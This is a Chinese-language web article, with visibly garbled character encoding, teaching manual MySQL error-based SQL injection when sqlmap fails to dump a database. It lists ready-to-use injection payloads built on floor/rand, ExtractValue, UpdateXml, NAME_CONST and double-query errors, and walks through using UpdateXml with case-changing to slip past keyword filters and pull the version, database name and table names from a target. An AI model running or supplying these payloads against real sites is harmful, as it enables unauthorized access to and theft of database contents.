您好,登錄后才能下訂單哦!
在我們實(shí)際***中,明明發(fā)現(xiàn)一個(gè)注入點(diǎn),本以為丟給sqlmap就可以了,結(jié)果sqlmap只顯示確實(shí)是注入點(diǎn),但是數(shù)據(jù)庫(kù)卻獲取不了,如圖1所示,這時(shí)我們可以使用手工進(jìn)行注入,判斷出過(guò)濾規(guī)則以及基本過(guò)濾情況,然后再選擇對(duì)應(yīng)的sqlmap腳本(如果有的話),本文主要是講述如何通過(guò)mysql函數(shù)報(bào)錯(cuò)來(lái)進(jìn)行注入,另外如何使用手工進(jìn)行全程注入的利用過(guò)程,如果你知道sqlmap里面有對(duì)應(yīng)的腳本的話,煩請(qǐng)告知一下,謝謝!。
圖1 獲取數(shù)據(jù)庫(kù)失敗
此時(shí)我們可以考慮下是否是顯錯(cuò)注入,對(duì)于顯錯(cuò)注入我們可以使用mysql顯錯(cuò)注入函數(shù)進(jìn)行查詢數(shù)據(jù)庫(kù)信息。
通過(guò)floor報(bào)錯(cuò):
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and (select count(*) from (select 1 union select null union select !1)x group by concat((select version()),floor(rand(0)*2)))
通過(guò)ExtractValue報(bào)錯(cuò):
and extractvalue(1, concat(0x7f, (select version()),0x7f))
通過(guò)UpdateXml報(bào)錯(cuò):
and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1))
通過(guò)NAME_CONST報(bào)錯(cuò):
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
通過(guò)錯(cuò)誤的雙重查詢:
or 1 group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1
在這里我們以UpdateXml報(bào)錯(cuò)進(jìn)行實(shí)戰(zhàn)演示,如圖2是一個(gè)顯錯(cuò)注入點(diǎn)。
圖2 顯錯(cuò)注入點(diǎn)
此時(shí)我們將通過(guò)UpdateXml來(lái)進(jìn)行SQL注入,這里由于對(duì)關(guān)鍵字進(jìn)行了過(guò)濾,因此我們需要使用大小寫來(lái)進(jìn)行繞過(guò),首先我們查詢數(shù)據(jù)庫(kù)版本,如圖3所示,成功獲取了數(shù)據(jù)庫(kù)版本。
圖3 獲取數(shù)據(jù)庫(kù)版本信息
獲取數(shù)據(jù)庫(kù)名,如圖4所示。
圖4 獲取數(shù)據(jù)名
獲取表名,如圖5所示。
圖5 獲取表名
后續(xù)操作請(qǐng)參考文章《mysql手工注入》,這里不再進(jìn)行累贅!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。